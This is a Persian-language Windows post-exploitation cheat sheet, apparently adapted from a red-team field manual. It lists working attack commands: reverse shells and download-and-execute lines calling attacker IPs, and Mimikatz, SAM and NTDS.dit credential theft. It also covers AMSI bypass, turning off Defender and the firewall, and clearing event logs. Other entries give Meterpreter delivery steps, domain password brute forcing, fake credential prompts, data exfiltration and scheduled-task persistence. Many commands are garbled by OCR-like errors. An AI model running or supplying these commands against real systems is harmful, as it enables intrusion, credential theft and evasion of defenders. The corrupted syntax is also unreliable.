ویندوز
نسخه ها
شماره یا ID | نسخه ها |
---|---|
NT 3.1 | Windows NT 3.1 (All) |
NT 3.5 | Windows NT 3.5 (All) |
NT 3.51 | Windows NT 3.51 (All) |
NT 4.0 | Windows NT 4.0 (All) |
NT 5.0 | Windows 2000 (All) |
NT 5.1 | Windows XP (Home, Pro, MC, Tablet PC, Starter, Embedded) |
NT 5.2 |
Windows XP (64-bit, Pro 64-bit) Windows Server 2003 & R2 (Standard, Enterprise) Windows Home Server |
NT 6.0 | Windows Vista (Starter, Home, Basic, Home Premium, Business, Enterprise, Ultimate) |
NT 6.1 | Windows 7 (Starter, Home, Pro, Enterprise, Ultimate) Windows Server 2008 R2 (Foundation, Standard, Enterprise) |
NT 6.2 | Windows 8 (x86/64, Pro, Enterprise, Windows RT (ARM)) Windows Phone 8 Windows Server 2012 (Foundation, Essentials, Standard) |
فایل ها
دستور | توضیح |
---|---|
%SYSTEMROOT% | معمولا C:\Windows |
%SYSTEMROOT%\System32\drivers\etc\hosts | موجودیت های DNS |
%SYSTEMROOT%\System32\drivers\etc\networks | تنظیمات شبکه |
%SYSTEMROOT% system32 config\SAM | نام کاربری و هش کلمه عبور |
%SYSTEMROOT%\repair\SAM | کپی از SAM |
%SYSTEMROOT%\System32\config\RegBack\SAM | تهیه پشتیبان از کپی SAM |
%WINDIR%\system32\config\AppEvent.Evt | گزارشات برنامه ها |
%WINDIR%\system32\config\SecEvent.Evt | گزارشات امنیت |
%ALLUSERSPROFILE%\Start Menu\Programs\Startup\ | مسیر راه انداز |
%USERPROFILE%\Start Menu\Programs\Startup\ | مسیر راه انداز |
%SYSTEMROOT%\Prefetch | مسیر Prefetch (EXE گزارشات) |
مسیر های راه انداز
برای WINDOWS NT 6.1,6.0
# All users
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
# Specific users
%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
برای WINDOWS NT 5.2, 5.1, 5.0
%SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup
برای WINDOWS 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\Startup
برای WINDOWS NT 4. 0, 3. 51, 3. 50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup
دستورات اطلاعات سیستم
دستور | توضیح |
---|---|
ver | نسخه سیستم عامل |
sc query state=all | نمایش سرویس ها |
tasklist /svc | نمایش فرآیند و سرویس ها |
tasklist /m | نمایش کلیه فرآیند ها و dll ها |
tasklist /S ip /v | فرآیند های در حال اجرا از راه دور |
taskkill /PID pid /F | حذف اجباری فرآیند |
systeminfo /S ip /U domain\user /P Pwd | دریافت اطلاعات سیستم از راه دور |
reg query \ ip \ RegDomain \ Key /v VALUE | ارسال پرس و جو به رجیستری, /s=all values |
reg query HKLM /f password /t REG_SZ /s | جست و جو رجیستری برای کلمه عبور ها |
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate | آدرس WSUS |
fsutil fsinfo drives | لیست درایور ها •نیاز به دسترسی admin |
dir /a /s /b c:'.pdf’ | جست و جو برای کلیه فایل های pdf |
dir /a /b c:\windows\kb’ | جست و جو برای patche ها |
findstr /si password’ .txt I •.xmll •.xls | جست و جو در فایل های برای کلمه عبور ها |
tree /F /A c: tree.txt | لیست فولدر های درایو C: |
reg save HKLM\Security security.hive | ذخیره hive های امنیت درون فایل |
echo %USERNAME% | کاربر جاری |
whoami /priv | دسترسی های کاربر جاری |
دستور net/domain
دستور | توضیح |
---|---|
net view /domain | هاست هاری دامین جاری |
net view /domain: [MYDOMAIN] | هاست های در [MYDOMAIN] |
net user /domain | کلیه کاربران دامین جاری |
net user user pass /add | اضافه نموده کاربر |
net localgroup "Administrators" user /add | اضافه نموده کاربر به Administrator ها |
net accounts /domain | سیاست های کلمه عبور دامین |
net localgroup "Administrators" | لیست Admin های محلی |
net group /domain | لیست گروه های دامنه |
net group "Domain Admins" /domain | لیست کاربران Admin در دامین |
net group "Domain Controllers" /domain | لیست DC ها برای دامین جاری |
net share | محیط اشتراکی SMB |
net session I find I "\" | لیست نشست های فعال SMB |
net user user /ACTIVE:yes /domain | گشودن دامین دامین |
net user user '' newpassword '' /domain | تغییر نام کاربری و کلمه عبور دامین |
net share share c:\share /GRANT:Everyone,FULL |
فولدر به اشتراک گذاشته شده |
دستورات از راه دور
دستور | توضیح |
---|---|
tasklist /S ip /v | فرآیند های در حال اجرا در ip |
systeminfo /S ip /U domain\user /P Pwd | اطلاعات مربوط به ip |
net share \\ ip | محیط اشتراکی ip |
net use \\ ip | فایل سیستم ip |
net use z: \\ ip \share password /user: DOMAIN user |
Map drive, specified credentials |
reg add \\ ip \ regkey \ value | اضافه نموده کلید رجیستری برای ip |
sc \\ ip create service binpath=C:\Windows\System32\x.exe start= auto |
Create a remote service (space after start=) |
cmd.exe /c certutil -urlcache -split -f http://ip/nc.exe c:/windows/temp/nc.exe | کپی فایل از ip به سیستم جاری توسط cmd.exe |
cmd.exe /c c:/windows/temp/nc.exe ip port -e cmd.exe | شل reverse |
nc.exe -lvvp port | گوش دادن به port خاص |
python3 -m http.server port | ایجاد وبسرور |
xcopy /s \\ ip \dir C:\local | کپی از فودر ip |
shutdown /m \\ ip /r /t 0 /f | راه اندازی مجدد سیستم با ip |
دستورات شبکه
دستور | توضیح |
---|---|
ipconfig I all | تنظیمات ip |
ipconfig /displaydns | حافظه نهان DNS |
netstat -ana | بازنمودن ارتباط |
netstat -anop tcp 1 | ایجاد Netstat loop |
netstat -ani findstr LISTENING | پورت های در حال استفاده |
route print | جداول Route |
arp -a | دریافت MAC های سیستم (با استفاده از جدول ARP) |
nslookup, set type=any, ls -d domain results.txt, exit |
دریافت DNS Zone Xfer |
nslookup -type=SRV _www._tcp.url.com | دریافت Domain SRV lookup ( ldap, kerberos, sip) |
tftp -I ip GET remotefile | انتقال فایل در TFTP |
netsh wlan show profiles | پروفایل های ذخیره شده در شبکه بی سیم |
netsh firewall set opmode disable | غیر فعال سازی فایروال ('Old) |
netsh wlan export profile folder=. key=clear | استخراج wifi به صورت plaintext |
netsh interface ip show interfaces | لیست IDs/MTUs مربوط به interface ها |
netsh interface ip set address local static ip nmask gw ID |
تنظیم IP |
netsh interface ip set dns local static ip | تنظیم سرور DNS |
netsh interface ip set address local dhcp | تنظیم interface برای استفاده از DHCP |
دستورات کاربردی
دستور | توضیح |
---|---|
type file | نمایش محتویات فایل |
del path \' .• /a /s /q /f | حذف فایل های در مسیر جاری |
find /I ''str'' filename command I find /c /v "" |
لیست خروجی های cmd |
at HH:MM file [args] (i.e. at 14:45 cmd /c) | زمان بندی اجرایی فایل |
runas /user: user " file [args]" | اجرای فایل با کاربر خاص |
restart /r /t 0 | راه اندازی مجدد |
sc stop UsoSvc | توقف سرویس UsoSvc |
sc start UsoSvc | راه اندازی سرویس UsoSvc |
sc config UsoSvc binpath="c:\windows\temp\nc.exe ip port -e C:\windows\system32\cmd.exe" | تغییر مسیر فایل اجرایی توسط UsoSvc |
tr -d '\15\32' win.txt unix.txt | حذف CR & 'Z ('nix) |
makecab file | فشرده سازی |
Wusa.exe /uninstall /kb: ### | حذف patch |
cmd.exe "wevtutil qe Application /c:40 /f:text /rd:true" |
استفاده از Event Viewer در CLI |
lusrrngr.msc | استفاده از Local user manager |
services.msc | استفاده از Services control panel |
taskmgr.exe | استفاده از Task manager |
secpool.rnsc | استفاده از Security policy manager |
eventvwr.rnsc | استفاده از Event viewer |
MISC. commands
قفل نمودن workstation
rundll32.dll user32.dll LockWorkstation
غیر فعال سازی فایروال ویندوز
netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off
ایجاد port forward (*نیاز به دسترسی admin)
netsh interface portproxy add v4tov4 listenport=3000 listenaddress=l.l.l.l connectport=4000 connectaddress=2.2.2.2
#Remove
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=l.l.l.l
فعال سازی cmd
reg add HKCU\Software\Policies\t1icrosoft\Windows\System /v DisableCHD /t REG DWORD /d 0 /f
دستور PSEXEC
اجرای فایل از راه دور با اطلاعات هویتی خاص
psexec /accepteula \\ targetiP -u domain\user -p password -c -f \\ smbiP \share\file.exe
اجرای دستور با هش خاص
psexec /accepteula \\ ip -u Domain\user -p Lt1 c:\Progra-1
اجرا دستور بر روی سیستم از راه دور
psexec /accepteula \\ ip -s cmd.exe
سرویس Terminal (RDP)
شروع RDP
Create regfile.reg file with following line in it: HKEY LOCAL t1ACHINE\SYSTEH\CurrentControlSet \Control\ TerminalService
"fDenyTSCo~nections"=dword: 00000000
reg import reg file. reg
net start ''terrnservice''
sc config terrnservice start= auto
net start terrnservice
--OR--
reg add "HKEY LOCAL t1ACHINE\SYSTEH\CurentControlSet\Control \Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
تونل RDP از پورت 443 (نیاز به راه اندازی مجدد سرویس terminal)
REG ADD "HKLt1\System\CurrentControlSet\Control \Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 443 /f
حذف احراز هویت شبکه با اضافه نمودن exception در فایروال
reg add "HKEY LOCAL t1ACHINE\SYSTEt1\CurentControlSet\Control \Terminal
Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f
netsh firewall set service type = remotedesktop mode = enable
وارد نمودن task از فایل XML
schtasks.exe /create /tn t1yTask /xml "C:\MyTask.xml" /f
دستور WMIC
دستور | توضیح |
---|---|
wmic [alias] get /? | لیست کلیه ویژگی ها |
wmic [alias] call /? | متد Callable |
wmic process list full | ویژگی های فرآیند ها |
wmic startupwmic service | شروع سرویس wmic |
wmic ntdomain list | اطلاعات دامین و DC |
wmic qfe | لیست کلیه patches |
wrnic process call create "process_name" | اجرای فرآیند |
wmic process where name="process" call terminate |
حذف فرآیند |
wmic logicaldisk get description,name | نمایش محیط اشتراکی منطقی |
wmic cpu get DataWidth /format:list | نمایش نسخه 32 بیتی یا 64 بیتی سیستم |
wmic service where started = true get name, startname | نمایش سرویس های اجرا شده |
WMIC [alias] [where] [clause]
[alias] == process, share, startup, service, nicconfig, useraccount, etc.
[where] ==where (name="cmd.exe"), where (parentprocessid!=[pid]"), etc.
[clause] ==list [fulllbrief], get [attribl, attrib2], call [method], delete
اجرا فایل در smb با اطلاعات هویتی خاص
wmic /node: targetiP /user:domain\user /password:password process call create "\ \ smbiP \share\evil.exe"
حذف نرم افزار
wmic product get name /value # Get software names
wmic product where name="XXX" call uninstall /nointeractive
دسترسی به کاربر از راه دور
wmic /node:remotecomputer computersystern get username
نمایش فرآیند ها به صورت لحظه ای
wmic /node:machinename process list brief /every:l
شروع RDP
wmic /node:"machinename 4" path Win32_TerminalServiceSetting where
AllowTSConnections=''O'' call SetAllowTSConnections ''1''
لیست زمان هایی که کاربر وارد شده
wmic netlogin where (name like "%adm%") get numberoflogons
جست و جو سرویس ها برای مسیر های unquoted
wmic service get narne,displayname,pathnarne,startrnode
| findstr /i nauton | findstr /i /v "C:\windows\\" | findstr /i /v """
کپی از Volume shadow
1. wmic /node: DC IP /user:"DOI1AIN\user" /password:"PASS" process
call create "cmd /c vssadmin list shadows 2 &1
c:\temp\output.txt"
# If any copies alread1 ex~st then exfil, otherwise create using
following commands. Check output.txt for anJ errors
2. wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process
call create "cmd /c vssadmin create shadow /for=C: 2 &1
C:\temp\output.txt"
3. wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process
call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVol~meShadowCopy1\Windows\System32\co nfig\SYSTEM
C:\temp\system.hive 2 &1
C:\temp\output.txt"
4. wmic /node: DC IP /user: "DOl'.llUN\user" /password: "PASS" process call create ''cmd /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyc\NTDS\NTDS.dit
C:\temp\ntds.dit 2 &1 C:\temp\output.txt"
Step by step instructions on room362.com for step below
5. From Linux, download and run ntdsxtract and libesedb to export
hashes or other domain information
a. Additional instructions found under the VSSOWN section
b. ntdsxtract - http://www.ntdsxtract.com
c. libesedb - http://code.google.com/p/libesedb/
محیط POWERSHELL
Command | Description |
---|---|
stop-transcript | توقف ضبط |
get-content file | نمایش محتویات فایل |
get-help command -examples | نمایش نمونه دستور |
get-command ‘string’ | جست و جو برای cmd |
get-service | نمایش سرویس ها (stopservice, start-service) |
get-wmiobject -class win32 service | نمایش سرویس ها به همان اطلاعات هویتی |
$PSVesionTable | نمایش نسخه powershell |
powershell.exe -version 2.0 | اجرای powershell 2.0 از نسخه 3.0 |
get-service measure-object | اطلاعات برگشت داده شده از سرویس |
get-psdrive | لیست برگشت داده شده از PSDrives |
get-process select -expandproperty name | نمایش نام ها |
get-help ‘ -parameter credential | دریافت اطلاعات هویتی |
get-wmiobject -list -‘network’ | WMI موجود در شبکه |
(Net.DNS]: :GetnostEntry(” ip “I | فرآیند DNS Lookup |
powershell.exe wget “http://10.10.10.10/nc.exe” -outfile “c:\temp\nc.exe” | دریافت و ذخیره سازی فایل |
poweshell.exe -c “IEX (New-Object System.Net.WebClient).DownloadString(‘http://10.10.10.10:8000/powercat.ps1’); powercat -c 10.10.10.100 -p 4444 -e cmd | شل معکوس |
https://gist.githubusercontent.com/zhilich/b8480f1d22f9b15d4fdde07ddc6fa4ed/raw/8078a51bbfa18df36d8e890fefe96a06891dd47d/SimpleHttpServer.ps1 | وبسرور با پورت ۸۰۵۰ |
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | استفاده از mimikatz |
فراخوانی فایل های ps1 | Import-Module .\Invoke-Mimikatz.ps1 |
دریافت و ذخیره سازی فایل | iwr -uri http://10.10.10.10/file -o file.exe |
دورزدن AMSI
Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1
Out-ObfuscatedTokenCommand -Path .\powerview.ps1 | Out-File out
یا
https://raw.githubusercontent.com/kmkz/Pentesting/master/AMSI-Bypass.ps1
. .\AMSI-Bypass.ps1
Invoke-AmsiBypass
غیرفعال سازی realtimemonitoring
powershell -command set-mpppreference -Disable realtimemonitoring $true
لیست تمامی کاربران
$users = New-Object DirectoryServices.DirectorySearcher
$users.Filter = "(&(objectclass=user))"
$users.SearchRoot = ''
$users.FindAll()
لیست تمامی domain ها
$computers = New-Object DirectoryServices.DirectorySearcher
$computers.Filter = "(&(objectclass=computer))"
$computers.SearchRoot = ''
$computers.FindAll()
دریافت اطلاعات هویتی AD با استفاده از doesnotrequirepreauth
Set-ADAccountControl -identity jorden -doesnotrequirepreauth 1
حذف گزارشات امنیت و برنامه ها(برای SVR01)
Get-EventLog -list
Clear-EventLog -logname Application, Security -computername SVR01
استخراج نسخه سیستم عامل در درون فایل CSV
Get-WmiObject -class win32 operatingsystem | select -property ' |
export-csv c:\os.txt
لیست سرویس های در حال اجرا
Get-Service | where_object {$_.status -eq "Running"}
استفاده از psdrive برای اشتراگ گذاری دائم
New-PSJrive -Persist -PSProvider FileSjstem -Root \\1.1.1.1\tools -Name i
فایل های نوشته شده در تاریخ 8/20
Get-Childitem -Path c:\ -Force -Rec~rse -Filter '.log -ErrorAction
SilentlyContinue | where {$_.LastWriteTime -gt "2012-08-20"}
دریافت فایل از http
(new-object sjstem.net.webclient) .downloadFile(''url'',''dest'')
اتصالات پورت tcp(پویشگر)
$ports=(#,#,#) ;$ip="x.x.x.x";foreach ($port in $ports) {try
($socket=New-bject Sjstem.Net.Sockets.TCPClient($ip,$port); }catch(};
if ($socket -eq $NULL) (echo $ip":"$port"- Closed";}
else(echo $ip":"$port"- Open";$socket =$NULL;}}
دستور Ping با 500 millisecond timeout
$ping = New-Object Sjstex.Net.Networkinformation.ping
$ping.Send('' ip '',5JO)
پنجره Basic authentication
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass
$Host.UI.PromptForCredential(" title "," message "," user" "," domain")
اجرای فایل exe (از cmd.exe)هر 4 ساعت بین تاریخ 8-11 آگوست 2013 وسایت 0800-1700
powershell. exe -Command "do {if ((Get-Date -format yyyyMMdd-HHmm) -match
'201308 ( 0 [ 8-9] |1 [0-1])-(0[ 8-9]]|1 [ 0-7]) [ 0-5] [ 0-9]') {Start-Process -
WindowStyle Hidden "C:\Temp\my.exe";Start-Sleep -s 14400))while(1)"
اجرای Powershell به عنوان
$pw ~ convertto-securestring -string "PASSWORD" -asplaintext -force;
$pp ~ new-object -typename System.Management.Automation.PSCredential -
argument list "DOMAIN\user", $pw;
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command
&{Start-Process file.exe -verb runas)'
ارسال کننده Email
powershell.exe Send-l-1ai1Hessage -to " email " -from " email " -subject
"Subject" -a " attachment file path " -body "Body" -SmtpServer Target
Email Server IP
فعال سازی دسترسی از راه دور به powershell (نیاز به اطلاعات هویتی)
net time \\ip
at \\ip time "Powershell -Command 'Enable-PSRemoting -Force'"
at \\ip time+1 "Powershell -Command 'Set-Item
wsman:\localhost\client\trustedhosts ''"
at \ \ip time+2 "Powershell -Command 'Restart-Service WinRM'"
Enter-PSSession -ComputerName ip -Credential username
لیست hostname و ip برای کلیه دامین ها
Get-WmiObject -ComputerName DC -Namespace root\microsoftDNS -Class
MicrosoftDNS _ ResourceRecord -Filter "domainname~' DOMAIN '" | select
textrepresentation
دانلود از Powershell از مسیر خاص
powershell.exe -noprofile -noninteractive -command
"[System.Net.ServicePointManager] ::ServerCertificateValidationCallback =
{$true); $source="""https:ll YOUR SPECIFIED IP I file.zip """;
$destination="C:\rnaster.zip"; $http = new-object Systern.Net.WebClient;
$response= $http.DownloadFile($source, $destination);"
نمایش داده های Powershell
Script will send a file ($filepath) via http to server ($server) via POST request.
Must have web server listening on port designated in the $server
powershell.exe -noprofile -noninteractive -command
"[S;stem.Net.ServicePointManager] ::ServerCertificateValidationCallback =
{$true); $server="""http:// YOUR_SPECIFIED IP / folder """;
$filepath="C:\master.zip" $http= new=object System.Net.WebClient;
$response= $http.UploadFile($server,$filepath);"
استفاده از powershell برای اجرای meterpreter از memory
Need Metasploit v4.5+ (msfvenom supports Powershell)
Use Powershell (x86) with 32 bit Meterpreter payloads
encodeMeterpreter.psl script can be found on next page
در سیستم حمله کننده
1. ./msfvenom -p Wlndows/meterpreter/reverse https -f psh -a x86 LHOST=1.1.1.1 LPORT=443 audit.psl
2. Move audit.psl into same folder as encodeMeterpreter.psl
3. Launch Powershell (x86)
4. powershell.exe -executionpolicy bypass encodeMeterpreter.psl
5. Copy the encoded Meterpreter string
شروع listener در سیستم حمله کننده
1. ./msfconsole
2. use exploit/multi/handler
3. set payload windows/meterpreter/reverse https
4. set LHOST 1. 1. 1. 1
5. set LPORT 443
6. exploit -j
در سیستم هدف (اجرای powershell(x86))
1. powershell. exe -noexi t -encodedCommand paste encoded Meterpreter
string here
PROFIT
Encodemeterpreter.ps1 [7]
# Get Contents of Script
$contents = Get-Content audit.psl
# Compress Script
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]: :Compress
$cs =New-Object IO.Compression.DeflateStream ($ms,$action)
$sw =New-Object IO.StreamWriter ($cs, [Text.Encoding] ::ASCII)
$contents I ForEach-Object {$sw.WriteLine($ I)
$sw.Close()
# Base64 Encode Stream
$code= [Convert]: :ToBase64String($ms.ToArray())
$command= "Invoke-Expression '$(New-Object IO.StreamReader('$(New-Object
IO. Compression. DeflateStream ('$(New-Object IO. t4emoryStream
(, '$ ( [Convert] : : FromBase64String ('"$code'") ) I I ,
[IO.Compression.Compressiont~ode]: :Decompress) I,
[Text.Encoding]: :ASCII)) .ReadToEnd() ;"
# Invoke-Expression $command
$bytes= [System.Text.Encoding] ::Unicode.GetBytes($command)
$encodedCommand = [Convert]: :ToBase64String($bytes)
# Write to Standard Out
Write-Host $encodedCommand
Copyright 2012 TrustedSec, LLC. All rights reserved.
Please see reference [7] for disclaimer
استفاده از powersehll برای راه اندازی meterpreter (روش دوم)
On bt attack box
1. msfpayload windows/rneterpreter/reverse tcp LHOST=10.1.1.1
LPORT~8080 R I msfencode -t psh -a x86
در سیستم حمله کننده
1. c:\ powershell
2. PS c:\ $cmd = ' PASTE THE CONTENTS OF THE PSH SCRIPT HERE '
3. PS c:\ $u = [System.Text.Encoding]: :Unicode.GetBytes($crnd)
4. PS c: \ $e = [Convert] ::ToBase64String($u)
5. PS c:\ $e
6. Copy contents of $e
شروع listener در سیستم حمله کننده
1. ./msfconsole
2. use exploit/multi/handler
3. set payload windows/meterpreter/reverse tcp
4. set LHOST 1.1.1.1
5. set LPORT 8080
6. exploit -j
در سیستم هدف (1:دانلود شل کد, 2:اجرا)
1. c: \ powershell -noprofile -noninteracti ve -command " &
{$client=new-object
System.Net.WebClient;$client.DownloadFile('http://1.1.1.1/shell.txt
', 'c:\windows\temp\ shell.txt') )"
2. c: \ powershell -noprofile -noninteracti ve -noexi t -command " &
{$crnd~tjpe 'c:\windows\temp\ shell.txt';powershell -noprofilenoninteractive
-noexit -encodedCornmand $cmd} "
PROFIT
شناسایی دامنه های آسیب پذیر با powerup
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
. .\PowerUp.ps1
رجیستری ویندوز
اطلاعات سیستم عامل
HKLM\Software\Microsoft\Windows NT\CurrentVersion
نام محصول
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v
ProductNarne
تاریخ نصب
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v InstallDate
نام ثبت شده
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v RegisteredOwner
اطلاعات بوت سیستم
HKLM\Software\~icrosoft\Windows NT\CurrentVersion /v SystemRoot
اطلاعات Time zone (بر حسب دقیقه از utc)
HKLM\System\CurrentControlSet\Control\TimeZoneinformation /v ActiveTirneBias
نقشه درایور های شبکه
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive
MRU
دستگاه های mounte شده
HKLM\System\MountedDevices
دستگاه های usb
HKLM\System\CurrentControlSet\Enurn\USBStor
فعال سازی IP forwarding
HKEY_LOCAL_~ACHI~E\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters -
IPEnableRouter = 1
کلید های کلمه عبور: LSA secret cat certain vpn, autologon, other passwords
HKEY LOCAL MACHINE\Security\Policy\Secrets
HKCU\Software \Microsoft \Windows NT\CurrentVersion \Winlogon \autoadminlogon
اطلاعات Audit policy
HKLM\Security\Policy\PolAdTev
سرویس های کرنل و کاربر
HKLM\Software\Microsoft\Windows NT\CurrentControlSet\Services
نرم افزار های نصب شده در سیستم
HKLM\Software
نرم افزار های نصب شده برای کاربر
HKCU\Software
آخرین مستندات
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
آخرین موقعیت های کاربر
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisite
dtmu & \Opensavetmu
URL ها تایپ شده
HKCU\Software\Microsoft\Internet Explorer\TypedURLs
لیست های MRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
آخرین کلید رجیستری استفاده شده
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\RegEdit /v LastKeY
مسیر های راه اندازی
HKLM\Software\Microsoft\Windows\CurrentVersion\Run & \Runonce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run & \Runonce
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load & \Run
فعال سازی Remote Desktop
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
دریافت اطلاعات ویندوز با dsquery
لیست کاربران دامین
dsquery user -limit 0
لیست گروه های دامین domain=victim.com
dsquery group "cn=users, dc=victim, dc=com"
لیست مدیران دامین
dsquery group -name "domain admins" | dsget group -members -expand
لیست گروه های کاربر
dsquery user -name bob | dsget user -memberof -expand
دریافت id کاربر وارد شده
dsquery user -name bob | dsget user -samid
لیست کاربرانی که در دو هفته اخیر فعال نبوده اند
dsquery user -inactive 2
اضافه نمودن کاربر
dsadd user "CN=Bob,CN=Users,DC=victim,DC=com" -samid bob -pwd bobpassdisplaj
"Bob" -pwdneverexpires yes -memberof "CN=Domain
Admins,CN=Users,DC=victim,DC=com
حذف کاربر
dsrm -subtree -noprornpt "CN=Bob,CN=Users,DC=victim,DC=com"
لیست سیستم عامل های دامین
dsquery A "DC=victim,DC=com" -scope subtree -attr "en" "operatingSystem"
"operatingSjstemServicePack" -filter
" (& (objectclass=computer) (objectcategory=computer) (operatingSystem=Windows}
))"
لیست نام سایت ها
dsquery site -o rdn -limit 0
لیست کلیه subnet های درون سایت
dsquery subnet -site sitename -o rdn
لیست سرویس های درون سایت
dsquery server -site sitename -o rdn
دریافت سرور های دامین
dsquery ' domainroot -filter
" (& (objectCategory=Computer) (objectClass=Computer) (operatingSystem='Server'
) ) " -limit 0
لیست dc های سایت
dsquery "CN=Sites,CN=Configuration,DC=forestRootDomain" -filter
(objectCategory=Server)
اسکریپت نویسی
متغیر های اسکریپت های bash باید به شکل روبرو جایگزاری شوند %% برای مثال %%i
ایجاد ping sweep
for /L %i in (10,1,254) do@ (for /L %x in (10,1,254) do@ ping -n 1 -w 100
10.10.%i.%x 2 nul 1 find "Reply" && echo 10.10.%i.%x live.txt)
ایجاد loop درون file
for /F %i in ( file ) do command
عملیات brute forcer دامین
for /F %n in (names.txt) do for /F %pin (pawds.txt) do net use \\DC01\IPC$
/user: domain \%n %p 1 NUL 2 &1 && echo %n:%p && net use /delete
\\DCOl\IPC$ NUL
بسته شدن حساب(lockout.bat)
@echo Test run:
for /f %%U in (list.txt) do @for /1 %%C in (1,1,5) do @echo net use \\WIN-
1234\c$ /USER:%%U wrongpass
عملیت DHCP exhaustion
for /L %i
1.1.1.%i
in (2,1,254) do (netsh interface ip set address local static
netrnask gw ID %1 ping 127.0.0.1 -n l -w 10000 nul %1)
فرآیند DNS reverse lookup
for /L %i in (100, 1, 105)
dns.txt && echo Server:
do @ nslookup 1.1.1.%i I findstr /i /c:''Name''
1.1.1.%i dns.txt
جست و جو کلیه مسیر های برای یافتن فایلی هایی که در آن ها PASS است و نمایش جزییات آن فایل
forfi1es /P c:\temp /s /m pass -c "cmd /c echo @isdir @fdate @ftime
@relpath @path @fsize"
شبیه سازی دامین مخرب (کاربردی برای تست IDS)
# Run packet capture on attack domain to receive callout
# domains.txt should contain known malicious domains
for /L %i in (0,1,100) do (for /F %n in (domains.txt) do nslookup %n
attack domain NUL 2 &1 & ping -n 5 127.0.0.1 NUL 2 &1
عملیات IE web looper (ایجاد کننده ترافیک)
for /L %C in (1,1,5000) do @for %U in (www.yahoo.com www.pastebin.com
www.paypal.com www.craigslist.org www.google.com) do start /b iexplore %U &
ping -n 6 localhost & taskkill /F /IM iexplore.exe
دریافت دسترسی سرویس های اجرایی
for /f "tokens=2 delims='='" %a in ('wmic service list full | find /i
"pathname" I find /i /v "system32"') do @echo %a
c:\windows\temp\3afd4ga.tmp
for /f eol = " delims = " %a in (c:\windows\temp\3afd4ga.tmp) do cmd.exe
/c icacls ''%a''
راه اندازی مجدد در حال چرخش (جایگذاری /R با /S برای خاموش نمودن):
for /L %i in (2,1,254) do shutdown /r /m \\1.1.1.%i /f /t 0 /c "Reboot
message"
ایجاد shell با استفاده از vbs (نیاز به اطلاعات هویتی)
# Create .vbs script with the following
Set shell wscript.createobject("wscript.shell")
Shell.run "runas /user: user " & """" &
C:\Windows\System32\WindowsPowershell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Nonlnteractive -ep bjpass -nop -c \" & """" & "IEX ((New-
Object Net.WEbClieil':).downloadstring(' url '))\" & """" & """"
wscript.sleep (100)
shell.Sendkeys " password " & "{ENTER}"
زمان بندی نمودن task
Scheduled tasks binary paths CANNOT contain spaces because everything
after the first space in the path is considered to be a command-line
argument. Enclose the /TR path parameter between backslash (\) AND
quotation marks ("):
... /TR "\"C:\Program Files\file.exe\" -x arg1"
زمان بندی نمودن task (ST=زمان شروع, SD=تاریخ شروع, ED=تاریخ پایان) *نیاز به دسترسی admin
SCHTASKS /CREATE /TN Task Name /SC HOURLY /ST HH:MM /F /RL HIGHEST /SD
MM/DD/YYYY /ED MM/DD/YYYY /tr "C:\my.exe" /RU DOMAIN/user /RP
password
زمان بندی نمودن همیشگی task [10]
For 64 bit use:
"C:\Windows\syswow64\WindowsPowerShell\vl.O\powershell.exe"
# (x86) on User Login
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bypass -nap -c 'IEX ((new-object
net.webclient) .downloadstring( ''http:// ip : port I payload'''))'" /SC
onlogon /RU System
# (x86) on System Start
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bypass -nap -c 'IEX ((new-object
net.webclient) .downloadstring("http:// ip : port I payload"))'" /SC
onstart /RU System
# (x86) on User Idle (30 Minutes)
SCHTASKS /CREATE /TN Task Name /TR
"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -Noninteractive -ep bjpass -nop -c 'IEX ((new-object
net.webclient) .downloadstring("http:// ip : port I payload"))'" /SC
onidle /i 30
دستورات کار با smb
ورود با کاربر خاص
smbclient -L 10.10.10.10 -U tlavel
ورود بدون کلمه عبور
smbclient -N -L 10.10.10.10
تغییر کلمه عبور
smbpasswd -r 10.10.10.10 -U tlavel
